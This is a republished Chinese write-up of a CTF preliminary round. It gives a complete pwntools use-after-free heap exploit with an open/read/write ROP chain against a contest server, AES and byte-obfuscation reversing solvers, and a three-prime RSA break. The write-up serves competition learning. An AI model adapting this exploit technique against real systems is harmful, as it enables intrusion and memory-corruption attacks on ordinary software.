文章总结: 文档分享宁波市第八届网络安全大赛初赛Writeup,涵盖PWN题(UAF漏洞利用获取flag)和REVERSE题(AES加密破解及逆向分析),提及AI在逆向和密码题中的高效表现但Web/Misc题仍需人工处理,团队最终排名波动但预计晋级决赛,提供详细技术实现代码和GitHub资源。 综合评分: 77 文章分类: CTF,逆向分析,漏洞分析,WEB安全,红队
宁波市第八届网络安全大赛初赛Writeup
赛查查
2026年5月7日 10:54 北京
在小说阅读器读本章
去阅读
以下文章来源于听涛客 ,作者Tajang
听涛客 .
杂食主义者
公众号文章没有代码折叠,文章里部分代码几百行,建议博客阅读:https://h4cker.zip/post/b12f02/
今天上午初赛结束了,感谢两个队友带,「dr0n」和「Rot-will」
槽点有点多,比如几个题AI秒出,我觉得以后出题都要反AI了,可能就留一个签到题AI能做,如果反AI,可能我真啥都不会了
AI这东西做逆向和密码非常厉害,逆向读伪代码和分析加解密,而这正是LLMs擅长的理解能力。做Web和Misc不太行,因为这两个用到的工具和环境太多。
两个WEB都是平平无奇登陆框,都做不出来,给的hint也做不出来,但是闲鱼一把梭。。。
两个杂项也古怪,队友做麻了,什么二维码小点点、博多密码,rgb转换之类
还有,我们做完4题已经第三名了,其他实在做不出来,就算其他队伍跟我们做一样的题,我们有前三血,那也应该排前面
但是最后三十分钟,我们连掉三十多名,我刷新一下掉一名,他们全都爆发了,不过应该能进决赛
部分附件在:https://github.com/TajangSec/Ningbo-8th-CSC-Pre
PWN
entity_cache
存在uaf
from pwn import *
import LibcSearcher
def add(ind,size,data=b'\n'):
p.sendlineafter(b'Code: ',b'1')
p.sendlineafter(b'id >',str(ind).encode())
p.sendlineafter(b'size >',str(size).encode())
p.sendafter(b'fragment >',data)
def edit(ind,data):
p.sendlineafter(b'Code: ',b'2')
p.sendlineafter(b'id >',str(ind).encode())
p.sendafter(b'stream >',data)
def free(ind):
p.sendlineafter(b'Code: ',b'3')
p.sendlineafter(b'id >',str(ind).encode())
def show(ind):
p.sendlineafter(b'Code: ',b'4')
p.sendlineafter(b'id > ',str(ind).encode())
#p=process('entity_cache')
p=remote('139.155.126.78','26428')
p.readuntil('[DEBUG INFO]')
e=ELF('./entity_cache')
libc=ELF('./libc.so')
e.address=int(p.readline(),16)-0xa1a
print(hex(e.address))
syscall=e.address+0xbcc
add(0,0xf0)
add(1,0xf0)
add(2,0xf0,'flag')
add(3,0xf0,'/flag')
free(0)
free(1)
show(1)
heap0=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(heap0))
heap3=heap0+0x100*3
heap2=heap0+0x100*2
edit(1,p64(e.address+0x202060))
add(4,0xf0)
add(5,0xf0) # cache
edit(5,p64(e.got['puts']))
show(0)
puts=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(puts))
libc.address=puts-libc.symbols['puts']
env=libc.symbols['environ']
edit(5,p64(env))
show(0)
stack=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')[:8])
print(hex(stack))
edit(5,p64(stack-0x120+8*2))
show(0)
stack1=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')[:8])
print(hex(stack1))
main_stack=stack-0x120+8*2
edit(5,p64(main_stack))
#gdb.attach(p)
pause()
rdi=0x000000000002164f+libc.address
rsi=0x0000000000023a6a+libc.address
rdx=0x0000000000001b96+libc.address
rax=0x000000000001b500+libc.address
payload=b""
payload=p64(rax)+p64(2)+p64(rdi)+p64(heap3)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)
payload+=p64(rax)+p64(0)+p64(rdi)+p64(3)+p64(rsi)+p64(heap2)+p64(rdx)+p64(0x50)+p64(syscall)
payload+=p64(rax)+p64(1)+p64(rdi)+p64(1)+p64(rsi)+p64(heap2)+p64(rdx)+p64(0x50)+p64(syscall)
print(hex(len(payload)))
edit(0,payload)
p.interactive()
REVERSE
SEA_1
我不太会逆向,AI告诉我这是AES_ECB
其他选手说,贴在claude desktop或者vscode 的mcp里面,AI秒出,自己根本不用动
伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+190h] [ebp-268h]
int v5[72]; // [esp+19Ch] [ebp-25Ch] BYREF
char v6[44]; // [esp+2BCh] [ebp-13Ch] BYREF
char Buf1[136]; // [esp+2E8h] [ebp-110h] BYREF
char Str[132]; // [esp+370h] [ebp-88h] BYREF
__CheckForDebuggerJustMyCode(&unk_45A019);
memset(Str, 0, 0x80u);
memset(Buf1, 0, 0x80u);
sub_401E00("Please input the flag and I will verify it: ");
sub_401E70("%128s", Str);
strcpy(v6, "58453eec4d16ae234a10b597dfe1f6a6");
if ( sub_4016B0(v5, v6, 256) )
return-1;
for ( i = 0; i < strlen(Str); i += 16 )
{
if ( sub_401410((int)v5, (int)&Buf1[i], &Str[i]) )
return-1;
}
if ( !memcmp(Buf1, &unk_458014, 0x30u) )
sub_401E00("Right flag!\n");
else
sub_401E00("Wrong flag\n");
return0;
}
AES加密,密钥是58453eec4d16ae234a10b597dfe1f6a6,密文是unk_458014,dump出来是29708f1980cce40f46abac148d488ca83716fe1d397202797b1999166265623e8f761285cb28e256b381167761e41094
cyberchef解开:DASCTF{75aab2560274ae21aa4554b993e658d1}
flower_world
97704D -= 120;
977070 ^= 0x4Fu;
977055 -= 30;
977064 -= 93;
977048 += 95;
97704A += 103;
97705C ^= 0x82u;
977069 += 52;
97705E ^= 3u;
977041 += 71;
977076 ^= 0xE0u;
97706D -= 44;
977044 -= 127;
977075 -= 71;
977060 ^= 0xAAu;
97704E -= 119;
977062 ^= 0xAu;
97707D -= 48;
977075 += 55;
97705B += 111;
97706E ^= 0x32u;
97706C -= 92;
97705F ^= 0x29u;
977041 += 79;
97704A += 58;
977062 -= 17;
97705A += 123;
977075 -= 100;
97705C -= 64;
977056 -= 89;
977070 ^= 0x73u;
977062 ^= 0x61u;
97706E += 118;
977062 += 41;
977070 += 78;
977055 -= 11;
97704F ^= 0x5Eu;
977070 ^= 0xB2u;
977066 -= 66;
977046 ^= 0xECu;
977062 ^= 0xD1u;
977046 -= 99;
977069 -= 49;
977046 += 32;
977066 += 61;
977042 ^= 0x42u;
977055 += 109;
977070 += 14;
97707B -= 52;
97706E -= 94;
977074 += 57;
97705D -= 30;
97705E -= 107;
977048 += 55;
97704C -= 27;
97706F -= 88;
97707A -= 105;
977040 += 25;
97704C += 73;
97706F -= 80;
977070 += 125;
97706E -= 44;
97707A += 11;
977068 ^= 0x57u;
977062 += 117;
977056 += 92;
97705B ^= 0x7Au;
977043 += 33;
977045 ^= 0xC3u;
97705E += 19;
977064 -= 46;
977065 -= 45;
977067 ^= 0xB0u;
97704F -= 69;
977061 ^= 0xDCu;
977046 += 69;
97707E += 116;
97704B ^= 0x22u;
977063 ^= 0x7Eu;
977054 += 18;
977072 -= 11;
97704E ^= 5u;
97706E += 58;
977048 += 44;
97706D ^= 0xE4u;
977068 -= 30;
977063 += 96;
977047 -= 49;
977062 += 83;
97707A += 53;
97706A ^= 0x21u;
97707C += 49;
97705B += 11;
977070 -= 105;
977063 -= 47;
977073 -= 67;
977047 += 94;
97707E += 78;
97704F -= 96;
97707A ^= 0xD3u;
977043 += 115;
97705E -= 127;
97707A -= 86;
977074 += 32;
977067 ^= 0x5Cu;
977049 -= 64;
97706B ^= 0x8Eu;
97707E += 121;
977054 -= 98;
977074 ^= 0x22u;
97704F -= 12;
977045 ^= 0x2Du;
97707C -= 44;
97704D -= 74;
977061 ^= 0x82u;
977068 ^= 0xEDu;
977071 ^= 0xBEu;
977077 += 4;
97705E -= 120;
97704B += 67;
977072 -= 52;
977042 ^= 0x87u;
977067 -= 38;
97707B ^= 0xFAu;
977072 += 90;
97706E -= 9;
977077 ^= 0x2Fu;
977049 += 83;
97706B ^= 0xD6u;
977062 -= 6;
977048 -= 119;
977061 -= 118;
977062 -= 75;
977068 -= 52;
977040 -= 108;
97706A += 28;
97707C ^= 0x4Cu;
97706C ^= 0x4Au;
977061 ^= 0xFDu;
977063 += 125;
977041 ^= 0x6Cu;
977075 += 25;
977071 -= 7;
97707D -= 119;
97706F -= 16;
977064 += 53;
977066 ^= 0x56u;
977042 ^= 0xF2u;
97706B += 115;
977055 -= 37;
977072 -= 51;
977041 -= 107;
97704F -= 116;
97705C += 46;
977065 -= 67;
97704C += 113;
977061 += 114;
97704E += 69;
977060 += 99;
977064 ^= 0x88u;
977079 -= 37;
97705E ^= 0x76u;
977070 += 95;
97707A += 51;
977074 ^= 0xD3u;
97704F -= 86;
977040 -= 6;
97707C -= 8;
977071 ^= 0x30u;
97705B += 29;
977070 += 65;
97705D ^= 0xEEu;
977047 -= 31;
977061 -= 16;
977071 += 9;
977064 -= 46;
977049 ^= 0xDEu;
977054 ^= 0x6Du;
977065 -= 91;
977077 += 119;
97707D -= 8;
--977061;
977075 += 124;
977068 += 3;
977059 -= 22;
977060 ^= 0xD3u;
977072 ^= 0xA4u;
977040 ^= 0xA8u;
97707F += 50;
97707E ^= 0x4Du;
977070 += 60;
97704B += 49;
97707B += 3;
97706A -= 20;
977060 -= 38;
977063 -= 2;
97707B -= 108;
97707E -= 71;
97706E += 111;
977040 ^= 0xD9u;
97704E += 76;
97706F ^= 0xF6u;
97705B += 26;
977040 -= 27;
977060 -= 80;
977078 -= 27;
97705B += 7;
++977073;
977075 ^= 0xDDu;
977043 -= 127;
977072 += 116;
977069 -= 70;
977065 ^= 0x9Bu;
977059 -= 34;
97704B -= 127;
97707F ^= 0xBu;
977058 -= 65;
97704B ^= 0x83u;
977059 ^= 0xB6u;
977067 -= 25;
977042 -= 94;
977061 ^= 0x7Eu;
977072 -= 69;
977077 -= 72;
977060 ^= 0xF7u;
977043 -= 11;
977069 ^= 0x64u;
977075 ^= 0xEu;
977073 -= 111;
977065 ^= 0x7Au;
97706B -= 7;
977060 += 103;
97707D ^= 0xF4u;
977077 += 16;
97705C ^= 0x89u;
977041 -= 20;
97707A ^= 0x3Fu;
97704D -= 31;
977073 += 98;
977073 -= 5;
977061 -= 30;
97704C += 73;
977054 -= 6;
977071 ^= 0x56u;
97705B ^= 3u;
977055 -= 119;
97706D += 37;
97705E += 4;
977044 -= 48;
977076 ^= 0xF4u;
977053 ^= 0x10u;
977059 ^= 0x47u;
977060 ^= 0xE2u;
97704E -= 16;
97705E ^= 0xD2u;
977042 += 70;
977060 -= 91;
977041 ^= 0x12u;
977042 -= 81;
977047 += 92;
977055 -= 77;
97705D ^= 0x7Du;
977070 ^= 0x4Au;
977074 -= 25;
977074 -= 127;
97704B += 121;
97706C += 64;
97707A ^= 0x58u;
97704B -= 123;
977078 += 42;
977071 -= 89;
97707E ^= 0x99u;
977043 -= 6;
977045 ^= 0x7Du;
977042 -= 14;
977064 += 96;
977058 += 26;
97706E += 54;
977052 -= 86;
97705D ^= 0x4Eu;
977055 -= 15;
977078 -= 32;
977057 += 75;
97706E += 66;
977053 += 101;
97705E -= 59;
97706B ^= 0xFAu;
977042 += 93;
977073 -= 123;
97707C += 31;
977064 ^= 0xA2u;
977073 -= 32;
97705A ^= 0x11u;
97707D += 121;
977074 -= 99;
977054 ^= 0x68u;
97706D -= 75;
977041 -= 117;
977043 += 92;
977041 += 88;
97704D -= 4;
977052 ^= 0x43u;
97704B += 8;
97706A -= 82;
977055 += 56;
977049 += 43;
977075 ^= 0xD1u;
97705D ^= 0x1Bu;
977052 -= 74;
97707B -= 104;
977073 -= 6;
977053 -= 120;
977043 -= 6;
977069 -= 2;
97705E ^= 0xFEu;
97707E ^= 0x45u;
977052 += 5;
977068 ^= 0x36u;
977051 -= 42;
977050 ^= 0xD6u;
d=open('1.txt').read().splitlines()
data=[ 0x7F, 0x11, 0x4A, 0x9D, 0xA5, 0xD5, 0x99, 0x9F, 0xAC, 0xD3,
0xD4, 0xBC, 0x1A, 0x53, 0x46, 0xF4, 0xE7, 0x37, 0x03, 0x60,
0x17, 0xBA, 0x67, 0xAC, 0x09, 0xDA, 0xA0, 0xFB, 0x2D, 0x8E,
0xCB, 0x11, 0x02, 0xC4, 0x17, 0xF7, 0x1B, 0x8F, 0x67, 0x52]
e={}
base=0x977040
def parse_int(s):
if '0x' in s:
return int(s,16)
else:
return int(s)
for i in d:
i=i.strip().strip(';')
if '-' in i:
if ('--' in i):
value=1
addr=int(i.strip('-'),16)-base
else:
value=parse_int(i.split('-=')[1].strip(';u'))
addr=int(i.split()[0],16)-base
state=0
elif '^' in i:
value=parse_int(i.split('^=')[1].strip(';u'))
addr=int(i.split()[0],16)-base
state=1
elif '+' in i:
if ('++' in i):
value=1
addr=int(i.strip('+'),16)-base
else:
value=parse_int(i.split('+=')[1].strip(';u'))
addr=int(i.split()[0],16)-base
state=2
else:
continue
if (e.get(addr)==None):
e[addr]=[]
e[addr].append((state,value))
print(e[0])
for i in e:
if i>=len(data):
continue
for state,value in e[i][::-1]:
# print(state,value)
if state==0:
data[i]+=value
elif state==1:
data[i]^=value
elif state==2:
data[i]-=value
data[i]=data[i]&0xff
print(bytes(data))
CRYPTO
Three-prime RSA
https://chatgpt.com/share/68a14d43-ab10-800b-bbee-7e4511dfaaea
AI太猛了
从 r_cubed 恢复 r
r = int(round(r_cubed ** (1/3)))
从 D 中恢复 (p+q+r) 和 random_num 题目中 random_num 是一个 28 位质数,p+q+r 大约 512~514 位。因为 (p+q+r)*random_num < n,所以 D 没有取模的影响:
random_num = 254766409 # 可通过简单分解D得到
s = D // random_num # 得到 s = p + q + r
求p+q
p_plus_q = s - r
解一元二次方程得到 p 和 q 方程:x^2 - (p+q)x + p*q = 0
from sympy import symbols, solve
x = symbols('x')
sols = solve(x**2 - p_plus_q*x + pq, x)
p, q = int(sols[0]), int(sols[1])
计算 d 并解密
from Crypto.Util.number import long_to_bytes, inverse
e = 65537
d = inverse(e, (p-1)*(q-1)*(r-1))
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
DASCTF{5521a971-9bed-11ef-bfda-14ac6024b6a8}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《宁波市第八届网络安全大赛初赛Writeup》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论